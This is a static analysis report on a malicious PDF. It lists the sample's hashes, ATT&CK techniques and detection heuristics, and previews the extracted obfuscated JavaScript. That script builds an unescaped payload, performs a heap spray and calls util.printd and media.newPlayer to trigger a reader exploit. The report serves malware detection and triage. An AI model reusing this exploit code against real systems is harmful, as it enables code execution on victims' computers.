Malicious PDF — malware analysis report

Static analysis result for SHA-256 7dc1d5264bba69a0…

MALICIOUS

PDF

2.8 KB First seen: 2026-05-10
MD5: 15536a1e7ed080c0e45dfe8d9d082dd9 SHA-1: 0f62d757abf51d5fda304117b63c5ecf5fab66e5 SHA-256: 7dc1d5264bba69a0babb6d17e8a9872c24f37992ae1263de21495098b7a3d574
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains obfuscated JavaScript that utilizes the unescape function, indicative of exploit code. This JavaScript is designed to perform a heap spray, a common technique used to prepare for memory corruption exploits. The primary goal appears to be the execution of a second-stage payload, though the specific download URL or execution method is not directly recoverable from the provided script fragments.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for(i=0;i<W1o029.length;){WoA=WoA+'%'+'u'+W1o029[i+1]+W1o029[i]; i=i+2;}
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 4721 bytes
SHA-256: 63343f4c096949eff1bf0a188c5f7ea745dc997221b8b8750a8ac1bc9386085d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var WoA="";
/*cwwp:owUp9DdD2=5A_0CdA|8kwWLR;=KR\nIpO?SzKtpfIhKGVwr8P5FLI;dlRDw_o|u;Pu*/
for(i=0;i<W1o000.length;){WoA=WoA+'%'+'u'+W1o000[i+1]+W1o000[i]; i=i+2;}
/*IZyo|NPqO44YaEk7fC[6w`^`Z:2euX_Wbz4ic`CSpUwcV[k0krK;BP3VE*/
for(i=0;i<W1o001.length;){WoA=WoA+'%'+'u'+W1o001[i+1]+W1o001[i]; i=i+2;}
/*Zzfv@FZzjb^wA1KWeuXK]kcW^5m>Y7God=;OLa0Lfi1c2NMGr0fz^G[yZg2Ct1VWQ*/
for(i=0;i<W1o002.length;){WoA=WoA+'%'+'u'+W1o002[i+1]+W1o002[i]; i=i+2;}
/*zE8{Q3pzCBVtj?O=gHuxMsDK\y8oMAqa;Fh4qP?iY7K|rp]Zx<6EIs0WW:*/
for(i=0;i<W1o003.length;){WoA=WoA+'%'+'u'+W1o003[i+1]+W1o003[i]; i=i+2;}
/*XIviXl7JynIxqG<`l=0MHCEM9P44>p:Kbyl_7mGHoH5<ce:jy7huMEfFzceXJ1ef2\_M2*/
for(i=0;i<W1o004.length;){WoA=WoA+'%'+'u'+W1o004[i+1]+W1o004[i]; i=i+2;}
/*U6jF>iz]hObprLDZdjv<V1wOhLfDge7`_2R|2dk_DDfP;9^pwx\=n>>X?Qu1L<|lb4UDG;tx*/
for(i=0;i<W1o005.length;){WoA=WoA+'%'+'u'+W1o005[i+1]+W1o005[i]; i=i+2;}
/*]G7^8ujDFh6B>Gw9NmuI8s3XARi@W76YQ|P|JRSyt^3pfxr[=Fn34cP?H[Ave0]^0lef*/
for(i=0;i<W1o006.length;){WoA=WoA+'%'+'u'+W1o006[i+1]+W1o006[i]; i=i+2;}
/*FbLAem44EFljnQD`HUj;QhLAtvFVqpngL9tp`O;>>4jt6x]q_^I*/
for(i=0;i<W1o007.length;){WoA=WoA+'%'+'u'+W1o007[i+1]+W1o007[i]; i=i+2;}
/*g;:UnhJbalI[AmhpOfs4cs9L_]ZwJh:]wjsqoztm0ixFts_9O*/
for(i=0;i<W1o008.length;){WoA=WoA+'%'+'u'+W1o008[i+1]+W1o008[i]; i=i+2;}
/*@dSPzR2hkUisE4W9B]d6u@@B0cwLLH_{v4yKHPpj<PS7PbN8g]>3<bEK*/
for(i=0;i<W1o009.length;){WoA=WoA+'%'+'u'+W1o009[i+1]+W1o009[i]; i=i+2;}
/*|4;x{mVqe`sAvM<WoYSI7Nq{XDA\x|Dp@Yj2sCMs3rI0PP9Cevm3W[gbAr7*/
for(i=0;i<W1o010.length;){WoA=WoA+'%'+'u'+W1o010[i+1]+W1o010[i]; i=i+2;}
/*vxJ47o\3ov]UyF:]Z:1VOJZ4ZA@[mFl8tpl{JEbS`GCJiQJHZiZlrET:[MS6*/
for(i=0;i<W1o011.length;){WoA=WoA+'%'+'u'+W1o011[i+1]+W1o011[i]; i=i+2;}
/*;KZT2\S=9H7]1VLmk1GO[^MqH|ZeKVX:uD[oqnQ7YB<NsLx=xA9GAqCvpcwn:05XEchPTS*/
for(i=0;i<W1o012.length;){WoA=WoA+'%'+'u'+W1o012[i+1]+W1o012[i]; i=i+2;}
/*n[GdD[ghQ8U57\^:8k0WW]31vLi[Y\Mn|fra5|tEq\Xl<7J^jz=Pcd^ld*/
for(i=0;i<W1o013.length;){WoA=WoA+'%'+'u'+W1o013[i+1]+W1o013[i]; i=i+2;}
/*FL7=ZYHu9vHsomDi6|HunfQvUE|Dz1`q1=?vKFX9FMuR8MZFl0F@YAj48lgl1*/
for(i=0;i<W1o014.length;){WoA=WoA+'%'+'u'+W1o014[i+1]+W1o014[i]; i=i+2;}
/*EBm6sTi\dZWP@tj=uSRkZ6yU|jewy`f8wL03HicnYM|]cFGGltvq1`gFH`Y*/
for(i=0;i<W1o015.length;){WoA=WoA+'%'+'u'+W1o015[i+1]+W1o015[i]; i=i+2;}
/*ikZJgZUzRer2on>UFyqI]6Mpw{4N_8K:\MCLAgbB6TKP0RxjlhKj]vAD1Eik]TGI]Z^;OYo<*/
for(i=0;i<W1o016.length;){WoA=WoA+'%'+'u'+W1o016[i+1]+W1o016[i]; i=i+2;}
/*?[a2O2Z^zz;4`{X>>^H]hWd1Xcgh3xQING;hMX==n8AtITv{oPEC8M3lSMltM0I?vVARAZ]*/
for(i=0;i<W1o017.length;){WoA=WoA+'%'+'u'+W1o017[i+1]+W1o017[i]; i=i+2;}
/*E3[woyWnSRszZ8JpFEvYoxHf9KQKzy?B1Mu\V`14yBpWa8A]IntO8P<Y?J_*/
for(i=0;i<W1o018.length;){WoA=WoA+'%'+'u'+W1o018[i+1]+W1o018[i]; i=i+2;}
/*@J50Cbee?44V[ZUn2G`]s\VlZ]I4Gy@K[u>FNdn61lEGU_5|7LCHpw6YR_vIL9k?R*/
for(i=0;i<W1o019.length;){WoA=WoA+'%'+'u'+W1o019[i+1]+W1o019[i]; i=i+2;}
/*spWBxy8Qf4UXu>wyBcK6Wow<3kCH=0hBaa8UKnowB5z{bVewDYn_lv0;VdWOlUmoyRE?=k7@*/
for(i=0;i<W1o020.length;){WoA=WoA+'%'+'u'+W1o020[i+1]+W1o020[i]; i=i+2;}
/*qHUQWPwXy2ZHpleD<NwZ9Yz8orBZ6X@yh0Ucg0k{<cBng9GnwrEZM<AGQ:wGHO[upJBl*/
for(i=0;i<W1o021.length;){WoA=WoA+'%'+'u'+W1o021[i+1]+W1o021[i]; i=i+2;}
/*ek;mVoret\pU8ohvIqmV\x?bGrQBWC7KdbLq;Zl:nq>vv0t1ZC0<[6XE9|5DRlQPwqx\f_9v*/
for(i=0;i<W1o022.length;){WoA=WoA+'%'+'u'+W1o022[i+1]+W1o022[i]; i=i+2;}
/*wxeEL:f{l|`HO@;xaIE1S<_E0i[oMISoLuHiKvZwR3F6b@y>cXzo91HhCfS:XU9Kh8f*/
for(i=0;i<W1o023.length;){WoA=WoA+'%'+'u'+W1o023[i+1]+W1o023[i]; i=i+2;}
/*X5[H@9p=F8LCHz_as2iHoaWJ54waT[VH91Yj[v9b\C^xIkgxIqy`YzlzT*/
for(i=0;i<W1o024.length;){WoA=WoA+'%'+'u'+W1o024[i+1]+W1o024[i]; i=i+2;}
/*orl1lxUwLRq<mrY_cVltttYKaf:`K:_]N[KE@5tOKmhg\NhhZruAlzgiB^<??;AhKg*/
for(i=0;i<W1o025.length;){WoA=WoA+'%'+'u'+W1o025[i+1]+W1o025[i]; i=i+2;}
/*`HvHFdks09d0vAldnrfMKv<BJb[jZ4?di`xyhN>`q<\1jZHOEUaReVd[NltqsQ=0e94*/
for(i=0;i<W1o026.length;){WoA=WoA+'%'+'u'+W1o026[i+1]+W1o026[i]; i=i+2;}
/*PI2n2kBK3NJ<ZW7nFod`w@gw2TN@hu\AAG<VwdLR|jc74cAb>du=\Eq?Kad*/
for(i=0;i<W1o027.length;){WoA=WoA+'%'+'u'+W1o027[i+1]+W1o027[i]; i=i+2;}
/*^4<CTYdEl>V9fGpV\6hTbkRFUOv5{\`UoNIyndPPutX4R\vE=mF\;IWfcrAI|{0oG1*/
for(i=0;i<W1o028.length;){WoA=WoA+'%'+'u'+W1o028[i+1]+W1o028[i]; i=i+2;}
/*K:n4tx:9Qk69sti2|uBFrfga>CowsDKrE{HauhUvL`?zWvNftfGwtjf]]l4Nt>[vM*/
for(i=0;i<W1o029.length;){WoA=WoA+'%'+'u'+W1o029[i+1]+W1o029[i]; i=i+2;}
var Wo = unescape(WoA);
var yR = unescape('%u3727%u27f5');
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

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